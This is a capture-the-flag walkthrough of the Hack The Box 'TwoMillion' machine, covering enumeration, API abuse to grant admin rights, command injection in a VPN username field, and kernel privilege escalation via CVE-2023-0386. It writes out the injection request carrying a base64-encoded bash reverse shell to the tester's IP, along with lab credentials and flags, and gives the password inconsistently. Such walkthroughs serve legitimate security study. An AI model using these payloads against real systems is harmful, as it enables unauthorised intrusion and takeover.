..

HTB - TwoMillion

Summary

TwoMillion is an easy Linux box which features a vulnerable API. We exploit the API to retrieve the invite code to login to the website. Once authenticated, we’re able to enumerate other API endpoints which allows us to register ourselves as an admin and get code execution. Root is straightforward, where the user has a mail that tells us the vulnerability to exploit (CVE-2023-0386).

Enumeration

nmap

┌──(kali㉿kali)-[~/ctf/htb/twomillion]
└─$ sudo nmap -sS -sC -sV -oA nmap/twomillion 10.10.11.221
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-18 11:31 EDT
Nmap scan report for 10.10.11.221
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds

Port 80 redirects us to http://2million.htb so I’ll add 10.10.11.221 2million.htb to /etc/hosts. From the OpenSSH version, we can assume that this box is running on Ubuntu 22.04.

Gobuster

┌──(kali㉿kali)-[~/ctf/htb/twomillion]
└─$ gobuster dir -u http://2million.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -o 2mill_dir.txt --exclude-length 162
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes:   404
[+] Exclude Length:          162
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logout               (Status: 302) [Size: 0] [--> /]
/login                (Status: 200) [Size: 3704]
/register             (Status: 200) [Size: 4527]
/api                  (Status: 401) [Size: 0]
/home                 (Status: 302) [Size: 0] [--> /]
/404                  (Status: 200) [Size: 1674]
/invite               (Status: 200) [Size: 3859]
Progress: 20116 / 20117 (100.00%)
===============================================================
Finished
===============================================================

User

The website is an old version of HackTheBox. To login to the website, we need to provide an invite code.

Looking at the response headers, we are dealing with a PHP application because of PSESSION being used. In the debugger, we find an obfuscated Javascript for handling the invite code API. ChatGPT makes quick work of deobfuscating this:

function verifyInviteCode(code):
    formData = { "code": code }
    $.ajax({
        type: 'POST',
        url: '/api/v1/invite',
        dataType: 'json',
        data: formData,
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    })

function makeInviteCode():
    $.ajax({
        type: 'POST',
        url: '/api/v1/invite',
        dataType: 'json',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    })

We can make a POST request to /api/v1/invite to generate an invite code, but this gave me an error. I guessed the endpoint name and Voila, we got the invite code.

Generate invite code

The invite code is base64 encoded, decoding it we get ZW5ZJ-B1744-SDP4P-SQWMT.

Now that we’re logged in, we are authorized to /api. We make a request to /api/v1 to enumerate available endpoints:

List API endpoints

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

We’re interested in admin here, but we are unauthorized to /api/v1/admin/auth and /api/v1/admin/vpn/generate. But we have access to /api/v1/admin/settings/update, which we can abuse to upgrade our user to an admin, which should give us authorization to the other endpoints.

└─$ curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=ua3vc30mj0isghdn6gmjcr9vr8" --header 'Content-Type: application/json' --data '{"email": "bob@email.com", "is_admin": 1}'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.5.0
> Accept: */*
> Cookie: PHPSESSID=ua3vc30mj0isghdn6gmjcr9vr8
> Content-Type: application/json
> Content-Length: 41
>
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 18 Mar 2024 16:06:00 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
* Connection #0 to host 2million.htb left intact
{"id":14,"username":"bob","is_admin":1}

We can check if bob is now an admin by making a GET request to /api/v1/admin/auth.

curl -v -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=ua3vc30mj0isghdn6gmjcr9vr8" --header 'Content-Type: application/json' --data '{"username": "bob"}'

/api/v1/admin/vpn/generate takes in a username, and we can try injecting in this field.

API RCE

We confirmed that we have RCE, so upload a reverse shell.

echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzkwMDEgMD4mMQ=='|base64 -d|bash

curl -v -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=ua3vc30mj0isghdn6gmjcr9vr8" --header 'Content-Type: application/json' --data '{"username": "bob; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzkwMDEgMD4mMQ== |base64 -d|bash;"}'

We find an environment variable that contains database credentials.

www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Mar 18 16:20 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Mar 18 16:20 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

We’re able to use this to get mysql access, and I tried cracking user hashes (this was wrong).

Database hashes

Obviously, you should just use SuperSuperPass123 to login as the admin user. :D

User flag: fa3f1c5b19806cd907e97a5f07344d49

Root

Enumeration

System information:

PRETTY_NAME="Ubuntu 22.04.2 LTS"
Linux 5.15.70-051570-generic

suid binaries:

admin@2million:~$ find / -perm -4000 2>/dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/tmp/CVE-2023-0386-master/ovlcap/upper/file
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

Nothing interesting here.

When we SSH into the machine, we have a mail notification.

admin@2million:/dev/shm$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Googling this we identify this vulnerability as CVE-2023-0386, which as noted earlier our box is vulnerable to (Ubuntu 22.04 and kernel version < 6.2).

I uploaded this PoC to the box and got root.

Root flag: c0a29840f5efb35fcd86db304bd97867

Post-root

The RCE in the username field is caused by an unsafe use of shell_exec.

$this->regenerate_user_vpn($router, $username);
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

Because we control $username, we can escape the string and insert our own commands.